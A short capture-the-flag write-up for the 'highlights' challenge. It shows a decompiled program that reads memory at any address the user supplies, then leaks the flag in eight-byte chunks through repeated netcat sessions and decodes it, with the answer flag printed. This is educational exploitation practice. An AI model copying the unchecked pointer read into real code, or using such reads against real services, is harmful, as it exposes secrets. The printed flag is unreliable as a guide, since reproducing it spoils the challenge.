Highlights
2 minutes to read
We are given a binary called highlights
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
If we use Ghidra, we will see the decompiled source code of the main
function:
int main() {
undefined8 *address;
FILE *fp;
setbuf(stdout, (char *) 0x0);
setbuf(stdin, (char *) 0x0);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
printf("What address (in hex) would you like to read?\n>>> ");
__isoc99_scanf("%lx%c", &address, &dead);
printf("Value at 0x%x: %016lx\n", address, *address);
return 0;
}
Basically, we have a way to read the value stored at an address we provide (that’s an arbitrary read primitive). In Ghidra, we can find the address of flag
(which is a global variable). We can find it using readelf
as well (0x404080
):
$ readelf -s highlights | grep flag
70: 0000000000404080 128 OBJECT GLOBAL DEFAULT 25 flag
So, let’s start dumping the flag:
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404080
Value at 0x404080: 6c6e6f7b66746369
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404088
Value at 0x404088: 5f6c6c696b735f79
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404090
Value at 0x404090: 706d695f65726f6d
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x404098
Value at 0x404098: 745f746e6174726f
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x4040a0
Value at 0x4040a0: 646165725f6e6168
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x4040a8
Value at 0x4040a8: 675f73695f676e69
$ nc puzzler7.imaginaryctf.org 5000
What address (in hex) would you like to read?
>>> 0x4040b0
Value at 0x4040b0: 7d676e696c676f6f
Notice that I stopped when I saw 7d
(}
as byte), because it represents the end of the flag. Now we only need to join all hexadecimal values together and represent them as little-endian format in bytes:
$ python3 -q
>>> from pwn import p64
>>> b''.join(map(lambda x: p64(int(x, 16)), ['6c6e6f7b66746369', '5f6c6c696b735f79', '706d695f65726f6d', '745f746e6174726f', '646165725f6e6168', '675f73695f676e69', '7d676e696c676f6f']))
b'ictf{only_skill_more_important_than_reading_is_googling}'